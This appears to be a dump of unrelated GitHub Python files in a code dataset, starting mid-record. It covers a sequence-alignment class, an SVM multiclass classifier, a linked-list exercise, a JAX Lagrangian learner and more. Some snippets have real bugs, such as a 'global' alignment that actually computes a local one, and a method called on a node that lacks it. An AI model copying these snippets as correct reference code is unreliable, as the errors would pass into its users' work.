range(5) for j in range(2)]\n# print(x)\n\n# ---------------\n# contoh\n# ---------------\n\nbuah = ['Jeruk','Nanas','Apel','Mangga','Pir','Kiwi','Semangka']\n\n# for b in buah:\n# if len(b)>4:\n# return b[:2]\n# else:\n# return 'buah lain'\n\nprint([b[:2] if len(b)>4 else 'buah lain' for b in buah])\n\nderetAngka = [i for i in range(1, 40)]\nderetAngkaGenap = [1 if angka%2 == 0 else 0 for angka in deretAngka]\n\nprint(deretAngkaGenap)","repo_name":"rizkyprilian/purwadhika-datascience-0804","sub_path":"Module1-PythonProgramming/list-functions.py","file_name":"list-functions.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6609556519","text":"# A class that performs global alignment of two sequences\n# It should have methods to return the length of the alignment, the actual alignments, the score, and the identity score\n\nimport numpy as np\n\n# This is a class that performs global alignment of two sequences\n\nclass globAlign:\n def __init__(self, seq1, seq2, match=1, mismatch=-1, gap=-1):\n self.seq1 = seq1\n self.seq2 = seq2\n self.match = match\n self.mismatch = mismatch\n self.gap = gap\n self.score = 0\n self.identity = 0\n self.align1 = \"\"\n self.align2 = \"\"\n self.align()\n\n def align(self):\n # Initialize the matrices\n self.score = 0\n self.identity = 0\n self.align1 = \"\"\n self.align2 = \"\"\n self.scoreMatrix = np.zeros((len(self.seq1)+1, len(self.seq2)+1), dtype=int)\n self.directionMatrix = np.zeros((len(self.seq1)+1, len(self.seq2)+1), dtype=int)\n\n # Fill in the score matrix\n for i in range(1, len(self.seq1)+1):\n for j in range(1, len(self.seq2)+1):\n match = self.scoreMatrix[i-1, j-1] + self.match if self.seq1[i-1] == self.seq2[j-1] else self.scoreMatrix[i-1, j-1] + self.mismatch\n delete = self.scoreMatrix[i-1, j] + self.gap\n insert = self.scoreMatrix[i, j-1] + self.gap\n self.scoreMatrix[i, j] = max(0, match, delete, insert)\n if self.scoreMatrix[i, j] == 0:\n self.directionMatrix[i, j] = 0\n elif self.scoreMatrix[i, j] == match:\n self.directionMatrix[i, j] = 1\n elif self.scoreMatrix[i, j] == delete:\n self.directionMatrix[i, j] = 2\n elif self.scoreMatrix[i, j] == insert:\n self.directionMatrix[i, j] = 3\n\n # Traceback and compute the alignment\n i = len(self.seq1)\n j = len(self.seq2)\n score = 0\n identity = 0\n count = 0\n while i > 0 and j > 0:\n count += 1\n direction = self.directionMatrix[i, j]\n if direction == 0: # terminate\n break\n elif direction == 1: # match/mismatch\n self.align1 = self.seq1[i-1] + self.align1\n self.align2 = self.seq2[j-1] + self.align2\n if self.seq1[i-1] == self.seq2[j-1]:\n identity += 1\n score += self.match if self.seq1[i-1] == self.seq2[j-1] else self.mismatch\n i -= 1\n j -= 1\n elif direction == 2: # delete\n self.align1 = self.seq1[i-1] + self.align1\n self.align2 = \"-\" + self.align2\n score += self.gap\n i -= 1\n elif direction == 3: # insert\n self.align1 = \"-\" + self.align1\n self.align2 = self.seq2[j-1] + self.align2\n score += self.gap\n j -= 1\n self.score = score\n self.identity = identity / count\n \n def getScore(self):\n return self.score\n\n def getIdentity(self):\n return self.identity\n\n def getAlign1(self):\n return self.align1\n\n def getAlign2(self):\n return self.align2\n\n def getLength(self):\n return len(self.align1)\n\n def printAlignment(self):\n print(self.align1)\n print(self.align2)\n\nif __name__ == \"__main__\":\n seq1 = \"AAGTAGGAAG\"\n seq2 = \"AAAAAAAAAA\"\n align = globAlign(seq1, seq2)\n align.printAlignment()\n ","repo_name":"BioinformaticsToolsmith/Look4LTRs","sub_path":"src/test/globAlign.py","file_name":"globAlign.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"25435898285","text":"from msrest.service_client import ServiceClient\nfrom msrest import Configuration\n\nclass BaseGithubManager(object):\n\n def __init__(self, base_url='https://api.github.com', pat=None):\n \"\"\"Inits UserManager as to be able to send the right requests\"\"\"\n self._pat = pat\n self._config = Configuration(base_url=base_url)\n self._client = ServiceClient(None, self._config)\n\n def construct_github_request_header(self, pat=None):\n headers = {\n \"Accept\": \"application/vnd.github.v3+json\"\n }\n\n if pat:\n headers[\"Authorization\"] = \"token {pat}\".format(pat=pat)\n elif self._pat:\n headers[\"Authorization\"] = \"token {pat}\".format(pat=self._pat)\n\n return headers\n\n def close_connection(self):\n self._client.close()\n","repo_name":"Azure/azure-functions-devops-build","sub_path":"azure_functions_devops_build/base/base_github_manager.py","file_name":"base_github_manager.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"29"} +{"seq_id":"5264274150","text":"\n# Github: Shantanugupta1118\n# DAY 50 of DAY 100\n# 86. Partition List - Leetcode/LinkedList\n# https://leetcode.com/problems/partition-list/\n\n'''\nclass Node:\n def __init__(self, data=None):\n self.data = data\n self.next = None \n\nclass LinkediList:\n def __init__(self):\n self.head = None\n \n def push(self, data):\n new_node = Node(data)\n if self.head is None:\n self.head = new_node\n return \n curr = self.head\n while curr.next:\n curr = curr.next\n curr.next = new_node\n\n def disp(self):\n if self.head is None:\n return None\n curr = self.head\n while curr:\n print(curr.data, end= ' ')\n curr = curr.next\n print()\n\n def partition(self, x):\n def merge(small, high):\n res = LinkediList()\n curr = small.head\n while curr:\n res.push(curr.data)\n curr = curr.next\n curr = high.head\n while curr:\n res.push(curr.data)\n curr = curr.next\n return res\n\n curr = self.head\n small = LinkediList()\n high = LinkediList()\n while curr:\n if curr.data < x:\n small.push(curr.data)\n else:\n high.push(curr.data)\n curr = curr.next\n return merge(small, high)\n'''\n\nclass Node:\n def __init__(self, data=None):\n self.data = data\n self.next = None \n\nclass LinkedList:\n def __init__(self):\n self.head = None\n \n def push(self, data):\n new_node = Node(data)\n if self.head is None:\n self.head = new_node\n return \n curr = self.head\n while curr.next:\n curr = curr.next\n curr.next = new_node\n\n def disp(self):\n if self.head is None:\n return None\n curr = self.head\n while curr:\n print(curr.data, end= ' ')\n curr = curr.next\n print()\n\n def partition(self, x):\n curr = self.head\n small_list = s = Node(0)\n large_list = l = Node(0)\n while curr:\n if curr.data < x:\n s.next = curr\n s = s.next\n else:\n l.next = curr\n l = l.next\n curr = curr.next\n\n l.next = None\n s.next = large_list.next\n return small_list.next\n\n\n\n\nll = LinkedList()\narr = [1, 4, 3, 2, 5, 2]\nfor i in arr:\n ll.push(i)\nll.disp()\na = ll.partition(3)\na.disp()\n","repo_name":"Shantanugupta1118/200-Days-Code-Challenge","sub_path":"Day 50/86. Partition List.py","file_name":"86. Partition List.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"29"} +{"seq_id":"21557012272","text":"import sys\nfrom numpy import *\nfrom svm import *\nfrom os import listdir\nfrom SMO import PlattSMO\nimport pickle\nimport random\nimport math\nimport numpy as np\nclass LibSVM:\n \"\"\"\n data:训练集数据列表 n*f n为样本个数,f为每个样本的特征个数\n label: 训练集类别列表\n C:惩罚因子\n toler:松弛变量\n maxIter:最大迭代次数\n kernalType:核函数类型 包括linear和rbf\n theta:当选择径向基核函数(rbf)时,表示尺度因子\n \"\"\"\n def __init__(self,data=[],label=[],C=0,toler=0,maxIter=0,**kernelargs):\n self.classlabel = unique(label)\n self.classNum = len(self.classlabel)\n self.classfyNum = (self.classNum * (self.classNum-1))/2 #分类器的个数\n self.classfy = [] #存放n*(n-1)个svm分类器\n self.classfy_dict = dict() # 以字典的形式存放分类器\n self.dataSet={}\n self.kernelargs = kernelargs\n self.C = C\n self.toler = toler\n self.maxIter = maxIter\n m = shape(data)[0]\n # 将相同标签数据存入dataSet的同一个索引位置\n for i in range(m):\n if label[i] not in self.dataSet.keys():\n self.dataSet[label[i]] = []\n self.dataSet[label[i]].append(data[i][:])\n else:\n self.dataSet[label[i]].append(data[i][:])\n\n def train(self):\n num = self.classNum\n for i in range(num):\n for j in range(i+1,num):\n data = []\n label = [1.0]*shape(self.dataSet[self.classlabel[i]])[0]\n label.extend([-1.0]*shape(self.dataSet[self.classlabel[j]])[0])\n data.extend(self.dataSet[self.classlabel[i]])\n data.extend(self.dataSet[self.classlabel[j]])\n svm = PlattSMO(array(data),array(label),self.C,self.toler,self.maxIter,**self.kernelargs)\n svm.smoP()\n self.classfy.append(svm)\n # 以字典的形式存储分类器\n self.classfy_dict['{0}-{1}'.format(i+1, j+1)] = svm\n self.dataSet = None\n\n def predict(self,data,label):\n m = shape(data)[0] #数据样本个数\n num = self.classNum #类别个数\n classlabel = []\n count = 0.0\n for n in range(m):\n result = [0] * num\n index = -1\n for i in range(num):\n for j in range(i + 1, num):\n index += 1\n s = self.classfy[index] #使用第index个分类器判断第n个样本的类别\n t = s.predict([data[n]])[0]\n if t > 0.0: #结果大于0,表示为正类,对应的类别计数+1\n result[i] +=1\n else:\n result[j] +=1\n classlabel.append(result.index(max(result)))\n if classlabel[-1] != label[n]: #判断错误的个数\n count +=1\n # 输出真实结果与预测结果\n print(label[n],classlabel[n])\n #print classlabel\n print(\"error rate:\",count / m)\n return classlabel\n\n '''\n 类间不可分离度 \n index_A,index_B:某两个类别在类别列表中的索引位置\n '''\n def class_indivsibility(self, index_A, index_B):\n # i类和j类的中心点\n Ea = np.sum(np.array(self.dataSet[self.classlabel[index_A]]), axis=0) / \\\n len(self.dataSet[self.classlabel[index_A]])\n Eb = np.sum(np.array(self.dataSet[self.classlabel[index_B]]), axis=0) / \\\n len(self.dataSet[self.classlabel[index_B]])\n # # i类和j类的类内分散度\n Ca = 0\n Cb = 0\n for x in self.dataSet[self.classlabel[index_A]]:\n Ca += np.sum(np.square(np.array(x)-Ea))/(len(self.dataSet[self.classlabel[index_A]])-1)\n for x in self.dataSet[self.classlabel[index_B]]:\n Cb += np.sum(np.square(np.array(x) - Eb)) / (len(self.dataSet[self.classlabel[index_B]]) - 1)\n # Ca = np.sqrt(np.sum(np.sum(np.square(np.array(self.dataSet[self.classlabel[index_A]])-Ea), axis=1)) /\n # len(self.dataSet[self.classlabel[index_A]])-1)\n # Cb = np.sqrt(np.sum(np.sum(np.square(np.array(self.dataSet[self.classlabel[index_B]])-Eb), axis=1)) /\n # len(self.dataSet[self.classlabel[index_B]])-1)\n Dab = np.sqrt(np.sum(np.square(Ea-Eb)))\n Sab = (Ca+Cb)/Dab-1\n return Sab\n\n '''\n 得到各类之间的不可分离度列表 [[value, i, j]...] value表示某两类之间的不可分离度,i和j表示两个类别的标签号\n classList:数据集类别标签列表\n '''\n def cal_indivisibility(self, classList):\n Slist = []\n for i in range(len(classList)):\n for j in range(i+1, len(classList)):\n S = []\n S.append(self.class_indivsibility(i, j))\n S.append(classList[i])\n S.append(classList[j])\n Slist.append(S)\n return Slist\n\n '''\n 寻找与类别a不可分离度最大的类别i(该类别i不能与顺序列表中元素重复)\n S_sort:升序排列的类间不可分离度列表\n a:某一个类别对应的标签\n classList:数据集类别标签列表\n '''\n def max_indivsibility(self, S_sort, a, classList):\n max_value = S_sort[0][0]\n i = -1\n for s in S_sort:\n if s[0]>max_value and (s[1]==a or s[2]==a) and (s[1] not in classList or s[2] not in classList):\n max_value = s[0]\n i = s[1] if s[1] not in classList else s[2] # 保证类别i不是顺序列表中的元素\n return i\n\n '''\n 得到根据类间不可分离度划分的类别列表(最优的类别识别顺序)\n Slist:不可分离度列表 \n Num:待分类的类别个数\n '''\n def creat_classList(self, Slist, Num):\n # 对不可分离度列表按照不可分离度值升序排列\n S_sort = sorted(Slist)\n # 创建新列表存放最终的类别顺序\n classList = []\n # 将不可分离度最小的两类对应的类别号放入列表的首尾\n classList.append(S_sort[0][1])\n classList.append(S_sort[0][2])\n for num in range(math.ceil((Num-2)/2)):\n # 寻找与列表num处类别不可分离度最大的类别i(将num变成首元素)\n a = classList[0]\n i = self.max_indivsibility(S_sort,a,classList)\n # 将i插入在列表num+1处\n classList.insert(num+1, i)\n # 寻找与列表len(classList)-num-1处类别不可分离度最大的类别j(将len(classList)-num-1变成尾元素)\n b = classList[-1]\n j = self.max_indivsibility(S_sort,b,classList)\n # 将j插入在列表len(classList)-num-1处\n classList.insert(len(classList)-num-1, j)\n # 当类别个数为奇数时列表中ceil(Num/2)位置多插入一个-1,因此需要删除\n if Num % 2 == 1:\n del(classList[math.ceil(Num/2)])\n return classList\n\n\n # DDAG结构\n def DDAG_predict(self, testData, testLabel, classList):\n m = shape(testData)[0] # 数据样本个数\n classLabel = [] # 存放预测结果\n count = 0.0\n for i in range(m):\n class_num = len(classList) # 类别列表剩余元素的个数\n while class_num > 1:\n # 训练集中键值对小类别号在前大类别号在后,下列语句保证测试时排除前后顺序的影响\n if f'{classList[0]}-{classList[class_num-1]}' not in self.classfy_dict.keys():\n s = self.classfy_dict['{0}-{1}'.format(classList[class_num-1], classList[0])]\n flag = True # 标记分类器键值是否发生转换\n else:\n # 对类别列表首尾元素对应的类别进行分类\n s = self.classfy_dict['{0}-{1}'.format(classList[0], classList[class_num - 1])]\n flag = False\n t = s.predict([testData[i]])[0] # 得到某个样本的预测结果 (1或者-1)\n class_num -= 1 # 列表个数-1\n if flag is False:\n if t > 0: # 该类别一定不是类别列表中尾元素对应的类别\n classList.pop()\n else: # 该类别一定不是类别列表中首元素对应的类别\n classList.pop(0)\n else: # 列表中类别顺序反生变化,导致预测结果相反\n if t > 0: # 该类别一定不是类别列表中首元素对应的类别\n classList.pop(0)\n else: # 该类别一定不是类别列表中尾元素对应的类别\n classList.pop()\n # 当类别列表中只剩1个元素时 该元素即为对应的类别标签\n classLabel.append(classList[0]) # 存放预测类别\n if classLabel[i] != testLabel[i]:\n count += 1\n print('真实类别:', testLabel[i], '预测类别:', classLabel[i])\n # 计算预测错误率\n print(\"error rate:\", count / m)\n return classLabel\n\n def save(self,filename):\n fw = open(filename,'wb')\n pickle.dump(self,fw,2)\n fw.close()\n\n @staticmethod\n def load(filename):\n fr = open(filename,'rb')\n svm = pickle.load(fr)\n fr.close()\n return svm\n\ndef loadImage(dir,maps = None):\n dirList = listdir(dir)\n data = []\n label = []\n for file in dirList:\n label.append(file.split('_')[0])\n lines = open(dir +'/'+file).readlines()\n row = len(lines)\n col = len(lines[0].strip())\n line = []\n for i in range(row):\n for j in range(col):\n line.append(float(lines[i][j]))\n data.append(line)\n if maps != None:\n label[-1] = float(maps[label[-1]])\n else:\n label[-1] = float(label[-1])\n return data,label","repo_name":"wei204/Application-of-dag-svm-in-multiphase-flow","sub_path":"svm_multiClass.py","file_name":"svm_multiClass.py","file_ext":"py","file_size_in_byte":10141,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32890695197","text":"import threading\n\nclass test():\n def __init__(self):\n self.a = 100\n\n def change(self, char):\n self.a = char\n\n\nif __name__ == \"__main__\":\n A = test\n timer = threading.Timer(5, A.change(A,100))\n timer.start()","repo_name":"VegetablesMaster/rotation_face_recongnize","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"26844333773","text":"import os\nimport serial\nimport struct\nimport time\n\n\n#________________________CONSTANTES______________________________#\n\n\ndevice = 1 #0 pour la carte sd et 1 pour la clef usb\n\nusbPath = \"/media/pi/USBBB\"\nsdPath = \"/home/pi/myfiles/pd/\"\n\nmidiList=[]\nusbList=[]\n\n#____________________SYSTEM____________________#\n\ndef readPatchList(vol):\n\tglobal patch_list_usb, patch_list_sd\n\tif vol==1:\n\t\tpatch_list_usb = sorted(os.listdir(usbPath)) #list of atmnt folder in the previous folder\n\t\n\t\ti = 0\n\t\twhile(i= 0:\n if DP_N[i-A] == True:\n DP_N[i] = True\n if i-B >= 0:\n if DP_N[i-B] == True:\n DP_N[i] = True\n if i-C >= 0:\n if DP_N[i-C] == True:\n DP_N[i] = True\nprint('1') if DP_N[-1] == True else print('0')","repo_name":"binThang/ThreeIdiocy","sub_path":"백준_방배정하기/accomodation.py","file_name":"accomodation.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36143093423","text":"'''\nkeys:\nSolutions:\nSimilar:\nT: \nS: \n'''\nfrom typing import List\n\n# official, stack of stack\n# T: O(1) for push and pop, S: O(N) for number of elements in FreqStack\nclass FreqStack:\n\n def __init__(self):\n self.freq = {}\n self.group = defaultdict(list)\n self.maxFreq = 0\n\n def push(self, x: int) -> None:\n \tf = self.freq.get(x, 0) + 1\n \tself.freq[x] = f\n \tif f > self.maxFreq:\n \t\tself.maxFreq = f\n \tself.group[f].append(x)\n\n def pop(self) -> int:\n \tx = self.group[self.maxFreq].pop() # the latest added number\n \tself.freq[x] -= 1\n \tif not self.group[self.maxFreq]:\n \t\tself.maxFreq -= 1 # the reason it works is we push 1 element each time\n \treturn x\n\n \n\n\n# educative.io version\nclass Element:\n\n\tdef __init__(self, num, freq, idx):\n\t\tself.num = num\n\t\tself.freq = freq\n\t\tself.idx = idx # sequence number\n\n\tdef __lt__(self, other):\n\t\tif self.freq != other.freq:\n\t\t\treturn self.freq > other.freq\n\t\treturn self.idx > other.idx # the number pushed later\n\nclass FreqStack:\n\n\tdef __init__(self):\n\t\tself.freqMap = {}\n\t\tself.maxHeap = []\n\t\tself.seqNum = 0\n\n\tdef push(self, x):\n\t\tself.freqMap[x] = self.freqMap.get(x, 0) + 1\n\t\theappush(self.maxHeap, Element(x, self.freqMap[x], self.seqNum))\n\t\tself.seqNum += 1\n\n\tdef pop(self):\n\t\tnum = heappop(self.maxHeap).num\n\t\tif self.freqMap[num] > 1:\n\t\t\tself.freqMap[num] -= 1\n\t\telse:\n\t\t\tdel self.freqMap[num]\n\t\treturn num\n\n\n\n\n\n\n\n\n","repo_name":"qinzhouhit/leetcode","sub_path":"topK_elements/895FreqStack.py","file_name":"895FreqStack.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"42031917841","text":"def set_reflections(emu_model_dict):\n \"\"\"\n Identfies reaction of the emu_model that are reflections (reverse of one another)\n emu_model_dict\n \"\"\"\n print(\"setting reflections...\")\n count=0\n if not isinstance(emu_model_dict,dict):\n emu_model_dict={1:emu_model_dict}\n for x in emu_model_dict:\n emu_model=emu_model_dict[x]\n for original_reaction in emu_model.reactions:\n for original_reaction2 in emu_model.reactions:\n if \"reflection\" in original_reaction.notes or \"reflection\" in original_reaction2.notes:\n continue \n reverse_metabolite_dict={}\n for metabolite in original_reaction.metabolites:\n reverse_metabolite_dict[metabolite]=-1*original_reaction.metabolites[metabolite]\n \n if reverse_metabolite_dict==original_reaction2.metabolites:\n if \"input\" in original_reaction.id or \"input\" in original_reaction2.id:\n print(original_reaction.id+\" \"+original_reaction2.id)\n continue\n original_reaction.notes[\"reflection\"]=original_reaction2.id\n original_reaction2.notes[\"reflection\"]= original_reaction.id \n count+=1\n return count\n","repo_name":"cfoguet/iso2flux","sub_path":"iso2flux/emus_functions/set_reflections.py","file_name":"set_reflections.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"24325054628","text":"from jax.config import config\nconfig.update(\"jax_enable_x64\", True)\n\nimport jax\nimport jax.numpy as jnp\nfrom jax import random\nimport numpy as np\n\nfrom jax.example_libraries import stax\nfrom jax.example_libraries import optimizers\nfrom functools import partial\nfrom tqdm import tqdm \nfrom torch.utils.data import DataLoader\nfrom decimal import Decimal\n\nfrom utils import normalize_dp\n\nclass NNLearner(object):\n \"\"\"NNLearner is a class which allows the creation of objects\n containing a neural network model and an associated trainer\n which facillitates the training of the model given training\n data, test performance, etc.\n \n Intended to help abstract the learning part of the scripts whilst keeping\n reproducibility and flexibility high\n \"\"\"\n def __init__(self, \n train_dataset, \n test_dataset, \n input_shape=4, \n stax=None,\n lagrangian=None, \n loss=None, \n optimizer=\"adam\", \n optimizer_parameters=lambda t: jnp.select([t < 1000], [1e-3, 3e-4]), \n nn_output_modifier=None,\n h=None,\n dof=None, \n weight_loss=None, \n weight_cond=None,\n weight_degeneracy=None, \n base_point_tripple=None,\n ll_normalise_func=None):\n\n super(NNLearner, self).__init__()\n self.train_dataset = train_dataset\n self.test_dataset = test_dataset\n self.lagrangian = lagrangian\n self.loss = loss\n self.mode = loss\n self.nn_output_modifier = nn_output_modifier\n self.h = h\n self.dof = dof\n self.weight_loss = weight_loss\n self.weight_cond = weight_cond\n self.base_point_tripple = base_point_tripple\n self.optimizer = optimizer\n self.optimizer_parameters = optimizer_parameters\n self.stax = stax\n self.ll_normalise_func = ll_normalise_func\n self.weight_degeneracy = weight_degeneracy\n\n self.input_shape = input_shape\n self.params = None # Will be the current parameters of the network\n\n # Setup network and optimizers\n self._initial_network_setup()\n self._initial_optimizer_setup()\n\n self.mse_losses = []\n self.non_triv_values = []\n self.degeneracy_values = []\n\n self.test_mse_losses = []\n self.test_non_triv_values = []\n self.test_degeneracy_values = []\n\n def _initial_network_setup(self):\n \"\"\"Specify functional model (architecture) of the neural network\n followed by initialising the initial parameters of this network\n \"\"\"\n if self.stax is None: \n init_fun, self.nn_forward_fn = stax.serial(\n stax.Dense(128),\n stax.Softplus,\n stax.Dense(128),\n stax.Softplus,\n stax.Dense(1),\n )\n rng = jax.random.PRNGKey(0) # for reproducibility\n self.output_shape, self.init_params = init_fun(rng, input_shape=(-1, self.input_shape))\n else:\n rng = jax.random.PRNGKey(0) # for reproducibility\n init_fun, self.nn_forward_fn = self.stax\n self.output_shape, self.init_params = init_fun(rng, input_shape=(-1, self.input_shape))\n\n def _initial_optimizer_setup(self):\n self.opt_init, self.opt_update, self.get_params = optimizers.adam(self.optimizer_parameters)\n self.opt_state = self.opt_init(self.init_params)\n\n def learned_lagrangian(self, params):\n # Returns a function representing the same signature as the lagrangian\n # which passes the inputs into the nn model. Behaviour will change based\n # on mode used\n if self.mode == \"xdot\" or self.mode == \"baseline\":\n def nn_lagrangian(q, q_t):\n state = jnp.concatenate([q, q_t]) # change to radians only in double_pendulum\n out = self.nn_forward_fn(params, state)\n return jnp.squeeze(out) # there is a trailing dimension to squeeze\n else:\n if self.ll_normalise_func is None:\n def nn_lagrangian(q, q_t):\n state = jnp.concatenate([q, q_t])\n out = self.nn_forward_fn(params, state)\n return jnp.squeeze(out, axis=-1)\n else:\n def nn_lagrangian(q, q_t):\n state = self.ll_normalise_func(jnp.concatenate([q, q_t]))\n out = self.nn_forward_fn(params, state)\n return jnp.squeeze(out, axis=-1)\n\n return nn_lagrangian\n\n @partial(jax.jit, static_argnums=(0,))\n def make_prediction(self, params, batch):\n x, y = batch\n \n if self.mode == \"xdot\":\n preds = jax.vmap(partial(self.nn_output_modifier, self.learned_lagrangian(params)))(x)\n \n\n elif self.mode == \"tripple_Ld\":\n def DEOM_SVI(state):\n q_1k = state[0]\n q_k = state[1]\n q_k1 = state[2]\n q_1k = q_1k[:self.dof]\n q_k = q_k[:self.dof]\n q_k1 = q_k1[:self.dof]\n\n def Ldk(qk, qk_1):\n return self.learned_lagrangian(params)(qk, qk_1)\n def D2Ld1k(q_1k, q_k): \n return jax.grad(Ldk, argnums=1)(q_1k, q_k)\n def D1Ldk(q_k, q_k1): \n return jax.grad(Ldk, argnums=0)(q_k, q_k1)\n\n result_prep = D2Ld1k(q_1k, q_k) + D1Ldk(q_k, q_k1) \n return jnp.dot(result_prep, result_prep) \n\n preds = jax.vmap(DEOM_SVI)(x)\n\n else:\n raise ValueError(\"self.mode is not valid value, value was {}\".format(self.mode))\n\n return preds\n\n @partial(jax.jit, static_argnums=(0,))\n def compute_degeneracy(self, params, batch):\n x, y = batch\n \n if self.mode == \"tripple_Ld\":\n def jac_DEOM(state):\n q_k = state[1]\n q_k1 = state[2]\n q_k = q_k[:self.dof]\n q_k1 = q_k1[:self.dof]\n\n def Ldk(qk, qk_1):\n return self.learned_lagrangian(params)(qk, qk_1)\n def D1Ldk(q_k, q_k1): \n return jax.grad(Ldk, argnums=0)(q_k, q_k1)\n def D2_D1Ldk(q_k, q_k1):\n return jax.jacrev(D1Ldk, argnums=1)(q_k, q_k1)\n \n det_jacobian = (jax.scipy.linalg.det(D2_D1Ldk(q_k, q_k1))) \n logistic_minused = -(1/(1+jnp.exp((-0.01*det_jacobian)))-1)\n return logistic_minused \n \n pred_degeneracy = jax.vmap(jac_DEOM)(x)\n else:\n raise ValueError(\"input mode is not implemented\")\n\n return pred_degeneracy\n\n @partial(jax.jit, static_argnums=(0,))\n def loss_func(self, params, batch, time_step=None):\n x, y = batch\n preds = self.make_prediction(params, batch)\n\n # Take on any custom loss function or default to MSE\n if self.loss == \"xdot\" or self.loss is None:\n return jnp.mean((preds - y) ** 2)\n\n elif self.loss == \"tripple_Ld\":\n pred_degeneracy = self.compute_degeneracy(params, batch)\n\n weight_loss = self.weight_loss\n weight_cond = self.weight_cond\n base_tripple = self.base_point_tripple\n weight_degeneracy = self.weight_degeneracy\n \n def non_triv_cond(params): #in order to make it vmappable with the other list created from DEOM_SVI\n qk_base = base_tripple[0]\n qk1_base = base_tripple[1]\n p_base = base_tripple[2]\n\n p0 = -jax.grad(self.learned_lagrangian(params), argnums=0)(qk_base, qk1_base)\n return jnp.sum((p0 - p_base) ** 2)\n \n mse_component = weight_loss * jnp.mean(preds)\n non_triv_component = (weight_cond * (non_triv_cond(params)))\n degeneracy_component = (weight_degeneracy * jnp.mean(pred_degeneracy)) \n return mse_component + non_triv_component + degeneracy_component \n else:\n return ValueError(\"Input loss option does not exist\")\n\n @partial(jax.jit, static_argnums=(0,))\n def loss_func_components(self, params, batch, time_step=None):\n x, y = batch\n preds = self.make_prediction(params, batch)\n pred_degeneracy = self.compute_degeneracy(params, batch)\n\n # Take on any custom loss function or default to MSE\n if self.loss is None:\n return jnp.mean((preds - y) ** 2)\n\n elif self.loss == \"tripple_Ld\": \n weight_loss = self.weight_loss\n weight_cond = self.weight_cond\n base_tripple = self.base_point_tripple\n weight_degeneracy = self.weight_degeneracy\n \n def non_triv_cond(params): #in order to make it vmappable with the other list created from DEOM_SVI\n qk_base = base_tripple[0]\n qk1_base = base_tripple[1]\n p_base = base_tripple[2]\n\n p0 = -jax.grad(self.learned_lagrangian(params), argnums=0)(qk_base, qk1_base)\n return jnp.sum((p0 - p_base) ** 2)\n \n mse_component = weight_loss * jnp.mean(preds)\n non_triv_component = (weight_cond * (non_triv_cond(params)))\n degeneracy_component = (weight_degeneracy * jnp.mean(pred_degeneracy)) \n return (mse_component + non_triv_component + degeneracy_component), mse_component, non_triv_component, degeneracy_component \n #+ (0.001/len(preds))*(optimizers.l2_norm(params))\n\n else:\n return ValueError(\"Input loss option does not exist\")\n\n def fit2(self, num_epochs=150000, test_every=100):\n \"\"\"Gradient descent with all observations per step\n \"\"\"\n print(\"## Learning the lagrangian\")\n training_data = (self.train_dataset.npx, self.train_dataset.npy)\n test_data = (self.test_dataset.npx, self.test_dataset.npy)\n \n opt_init, opt_update, get_params = optimizers.adam(self.optimizer_parameters)\n opt_state = opt_init(self.init_params)\n\n @jax.jit\n def update_derivative(i, opt_state, batch):\n params = get_params(opt_state)\n return opt_update(i, jax.grad(self.loss_func)(params, batch), opt_state)\n\n train_losses = []\n test_losses = []\n\n for epoch in tqdm(range(num_epochs), \"Epochs progress\"):\n if epoch % test_every == 0:\n params = get_params(opt_state)\n train_loss, train_mse, train_nontriv, train_degen = self.loss_func_components(params, training_data)\n train_losses.append(train_loss)\n test_loss, test_mse, test_nontriv, test_degen = self.loss_func_components(params, test_data)\n test_losses.append(test_loss)\n self.mse_losses.append(train_mse)\n self.non_triv_values.append(train_nontriv)\n self.degeneracy_values.append(train_degen)\n\n self.test_mse_losses.append(test_mse)\n self.test_non_triv_values.append(test_nontriv)\n self.test_degeneracy_values.append(test_degen)\n\n opt_state = update_derivative(epoch, opt_state, training_data)\n \n params = get_params(opt_state)\n\n self.train_losses = train_losses\n self.test_losses = test_losses\n self.params = params\n\n return params, train_losses, test_losses\n\n def fit3(self, num_epochs=150000, test_every=100, batch_size=2048):\n \"\"\"Stochastic minibatch gradient descent\n \"\"\"\n print(\"## Learning the lagrangian\")\n training_data = (self.train_dataset.npx, self.train_dataset.npy)\n training_loader = DataLoader(self.train_dataset, batch_size = batch_size, shuffle=True)\n test_data = (self.test_dataset.npx, self.test_dataset.npy)\n \n opt_init, opt_update, get_params = optimizers.adam(self.optimizer_parameters)\n opt_state = opt_init(self.init_params)\n\n @jax.jit\n def update_derivative(i, opt_state, batch):\n params = get_params(opt_state)\n return opt_update(i, jax.grad(self.loss_func)(params, batch), opt_state)\n\n train_losses = []\n test_losses = []\n\n for epoch in tqdm(range(num_epochs), \"Epochs progress\"):\n if epoch % test_every == 0:\n params = get_params(opt_state)\n train_loss, train_mse, train_nontriv, train_degen = self.loss_func_components(params, training_data)\n train_losses.append(train_loss)\n test_loss, test_mse, test_nontriv, test_degen = self.loss_func_components(params, test_data)\n test_losses.append(test_loss)\n self.mse_losses.append(train_mse)\n self.non_triv_values.append(train_nontriv)\n self.degeneracy_values.append(train_degen)\n\n self.test_mse_losses.append(test_mse)\n self.test_non_triv_values.append(test_nontriv)\n self.test_degeneracy_values.append(test_degen)\n\n\n for batch in training_loader:\n batchx, batchy = batch\n opt_state = update_derivative(epoch, opt_state, (batchx.numpy(), batchy.numpy()))\n \n params = get_params(opt_state)\n\n self.train_losses = train_losses\n self.test_losses = test_losses\n self.params = params\n\n return params, train_losses, test_losses\n\n def fit_lnn(self, num_epochs=150000, test_every=100):\n \"\"\"Fitting function for LNN models, as in 